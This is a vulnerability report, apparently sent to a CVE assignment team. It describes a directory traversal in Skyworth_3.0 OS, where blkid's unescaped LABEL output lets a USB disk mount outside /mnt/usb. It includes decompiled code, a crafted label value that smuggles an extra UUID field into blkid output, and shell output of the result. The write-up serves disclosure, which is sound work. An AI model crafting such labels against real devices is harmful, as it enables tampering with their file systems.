

Skyworth_3.0 OS issue detail

Dear CVE Assignment Team

Thank you for receiving my request, in this pdf I will provide more details about this issue.

How I found it

I found it when I test our company car's TVBOX which is made by Skyworth H2O. That time I just want to test if the TVBOX has the CVE-2018-9445 so I made a Udisk just as same as the CVE-2018-9445 attack Udisk, and luckily I attack the TVBOX successfully. Firstly I think it is an Android issue, so I viewed the AOSP but find out it is not the Android's problem. Then I use the adb to get the TVBOX's OS information and kernel version (1.txt in attachment), find that it is made by Skyworth, and it is Skyworth_3.0 OS. I think it is the Skyworth_3.0 OS's problem and it affects all products which use Skyworth_3.0 OS. Then I turn to your team to get a CVE id.

Issue details

The issue comes from `"/system/bin/blkid"`

Use the tool "checksec" to know its arch:

```
nameless@ubuntu:~/Desktop/test$ checksec blkid
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/nameless/Desktop/test/blkid'
Arch:      arm-32-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

And we can use ida to reverse this elf:

```

v12 = strcmp(s1[0], "LABEL", 4u);
v13 = s;
if ( v12 )
{
    v14 = strlen(s);
    if ( v14 )
    {
        v15 = v14;
        do
        {
            v17 = (unsigned __int8)*v13++;
            v16 = v17;
            if ( v17 >= 0x81 )
            {
                fwrite("M-", 2u, 1u, stdout);
                v16 ^= 0x80u;
            }
            if ( v16 < 0x20 || v16 == 127 )
            {
                fputc(94, stdout);
                v16 ^= 0x40u;
            }
            --v15;
            if ( v16 != '"' )
                fputc(v16, stdout);
        }
    }
}

```

The picture above shows the issue in function "print_tags", the "strcmp" returns 0 if the string is "LABEL", so if the field is "LABEL=xxxxx", it will fputs any char in xxxxx to stdout without ignoring the '"'. So if we replace the string ' UUID =../a"' as xxxxx, it will make the final blkid out string LABEL=" UUID="../a":

```

6/dev/block/vda: LABEL="/" UUID="b8c18c99-e95f-40da-83fc-4230cc412a53" TYPE="ext4"
6/dev/block/vdb: LABEL="data" UUID="939c962f-a298-44d9-a540-eel7ed713164" TYPE="ext4"
6/dev/block/vdc: LABEL="vendor" UUID="3bc12d0b-f500-4e0c-a5f7-a22f55543e6d" TYPE="ext4"
6/dev/block/vdd: UUID="03elabd6-ed2e-42a3-b3c6-6d6fd7a37c25" TYPE="ext4"
6/dev/block/vde: SEC_TYPE="msdos" UUID="00BC-614E" TYPE="vfat"
6/dev/block/vdf: SEC_TYPE="msdos" UUID="00BC-614E" TYPE="vfat"
6/dev/block/vdh: SEC_TYPE="msdos" UUID="549D-2C88" TYPE="vfat"
6/dev/block/vdi: SEC_TYPE="msdos" UUID="549D-2C88" TYPE="vfat"
6/dev/block/vdj: LABEL="cache" UUID="9e9bf2c5-fd9a-4904-823f-c43b18199051" TYPE="ext4"
5/dev/block/vdk: UUID="57f8f4bc-abf4-655f-bf67-946fc0f9f25b" TYPE="ext4"
7/dev/block/vdl: UUID="57f8f4bc-abf4-655f-bf67-946fc0f9f25b" TYPE="ext4"
/dev/block/vdm: SEC_TYPE="msdos" UUID="54AE-A09A" TYPE="vfat"
/dev/block/vdn: UUID="54D0-11F5" TYPE="vfat"
/dev/block/sdal: LABEL=" UUID="../a" UUID="DE51-1EE" TYPE="exfat"

```

Then if we plug this Udisk into USB, it will cause Directory Traversal:

```

V918D:/ $ ls /mnt/usb
V918D:/ $ ls
acct  bugreports  data          dev          init.environ.rc  metadata  postinstall  skyshm  system
apex  cache        data_mirror  etc          init.recovery.amlogic.rc  mnt       proc         skyworth system_ext
atv   config       debug_ramdisk  factory      linkerconfig     odm       product      storage vendor
bin   d            default.prop  init         lost+found        oem       sdcard       sys
V918D:/ $ ls /mnt
EPGdb  appfuse  expand  obb      product  sdcard  usb  vendor
androidwritable asec     installer pass_through runtime  secure  user
V918D:/ $ ls /mnt
EPGdb  androidwritable  asec  installer  pass_through  runtime  secure  user
a      appfuse         expand  obb      product      sdcard  usb  vendor
V918D:/ $ ls /mnt
EPGdb  androidwritable  asec  installer  pass_through  runtime  secure  user
a      appfuse         expand  obb      product      sdcard  usb  vendor
V918D:/ $

```

Nomally the Udisk would be mounted to /mnt/usb/ , but this time it is mounted to /mnt/ cause the Directory Traversal

How to run it

I dump the elf and it's libs relies

You can run this elf with a rasperry pi zero 2W

Copy the libs in attachment to "/system/lib"(if not exsist , make a new dir) and copy the elf "linker" to "/system/bin" , then you can run this elf

In the end

I will put this elf with it's relies and the kernel / OS information in one zip file , and add it to the email attachment.

Looking forward to your reply!